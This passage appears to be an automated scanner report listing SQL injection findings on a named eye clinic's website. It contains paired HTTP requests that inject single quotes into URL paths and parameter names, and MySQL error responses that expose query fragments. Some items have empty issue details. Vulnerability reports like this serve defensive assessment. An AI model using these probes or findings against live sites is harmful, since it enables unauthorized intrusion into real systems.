Date: Sat, 05 Feb 2011 21:53:16 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.13. http://www.baysideeyes.com.au/cmsAdmin/uploads/BLEPHARITIS.pdf&s=204.93 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/cmsAdmin/uploads/BLEPHARITIS.pdf&s=204.93

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /cmsAdmin/uploads'/BLEPHARITIS.pdf&s=204.93 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:17 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 196

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /cmsAdmin/uploads''/BLEPHARITIS.pdf&s=204.93 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:17 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.14. http://www.baysideeyes.com.au/cmsAdmin/uploads/BLEPHARITIS.pdf&s=204.93 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/cmsAdmin/uploads/BLEPHARITIS.pdf&s=204.93

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 3, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /cmsAdmin/uploads/BLEPHARITIS.pdf'&s=204.93 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

Request 2

GET /cmsAdmin/uploads/BLEPHARITIS.pdf''&s=204.93 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:18 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.15. http://www.baysideeyes.com.au/cmsAdmin/uploads/BLEPHARITIS.pdf&s=204.93 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/cmsAdmin/uploads/BLEPHARITIS.pdf&s=204.93

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /cmsAdmin/uploads/BLEPHARITIS.pdf&s=204.93?1'=1 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:12 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 196

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /cmsAdmin/uploads/BLEPHARITIS.pdf&s=204.93?1''=1 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:13 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.16. http://www.baysideeyes.com.au/cmsAdmin/uploads/privacy.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/cmsAdmin/uploads/privacy.htm

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /cmsAdmin'/uploads/privacy.htm HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:19 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 196

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /cmsAdmin''/uploads/privacy.htm HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:20 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.17. http://www.baysideeyes.com.au/cmsAdmin/uploads/privacy.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/cmsAdmin/uploads/privacy.htm

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /cmsAdmin/uploads'/privacy.htm HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:23 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 196

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /cmsAdmin/uploads''/privacy.htm HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:24 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.18. http://www.baysideeyes.com.au/cmsAdmin/uploads/privacy.htm [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/cmsAdmin/uploads/privacy.htm

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /cmsAdmin/uploads/privacy.htm' HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:29 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 226

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''cmsAdmin/uploads/privacy.htm'')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /cmsAdmin/uploads/privacy.htm'' HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:30 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.19. http://www.baysideeyes.com.au/cmsAdmin/uploads/privacy.htm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/cmsAdmin/uploads/privacy.htm

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /cmsAdmin/uploads/privacy.htm?1'=1 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:01 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 196

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /cmsAdmin/uploads/privacy.htm?1''=1 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:01 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.20. http://www.baysideeyes.com.au/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/favicon.ico

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /favicon.ico' HTTP/1.1
Host: www.baysideeyes.com.au
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:35 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Content-Type: text/html; charset=utf-8
Content-Length: 209

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''favicon.ico'')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /favicon.ico'' HTTP/1.1
Host: www.baysideeyes.com.au
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:35 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.21. http://www.baysideeyes.com.au/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/favicon.ico

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /favicon.ico?1'=1 HTTP/1.1
Host: www.baysideeyes.com.au
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:23 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Content-Type: text/html; charset=utf-8
Content-Length: 196

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /favicon.ico?1''=1 HTTP/1.1
Host: www.baysideeyes.com.au
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:23 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.22. http://www.baysideeyes.com.au/referrer-information.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/referrer-information.htm

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /referrer-information.htm' HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:55 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 222

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''referrer-information.htm'')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /referrer-information.htm'' HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:56 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.23. http://www.baysideeyes.com.au/referrer-information.htm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/referrer-information.htm

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /referrer-information.htm?1'=1 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:38 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 196

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /referrer-information.htm?1''=1 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:39 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.24. http://www.baysideeyes.com.au/sitemap.htm [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/sitemap.htm

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /sitemap.htm' HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:37 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 209

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''sitemap.htm'')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /sitemap.htm'' HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:38 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equi
...[SNIP]...

1.25. http://www.baysideeyes.com.au/sitemap.htm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.baysideeyes.com.au
Path:	/sitemap.htm

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /sitemap.htm?1'=1 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:25 GMT
Server: Apache/1.3.41 (Unix) mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 196

MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')
ORDER BY old_url DESC
LIMIT 1' at line 3

Request 2

GET /sitemap.htm?1''=1 HTTP/1.1
Host: www.baysideeyes.com.au
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=171516723.1296943214.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=171516723.1653684966.1296943214.1296943214.1296943214.1; __utmc=171516723; __utmb=171516723.1.10.1296943214;

Response 2

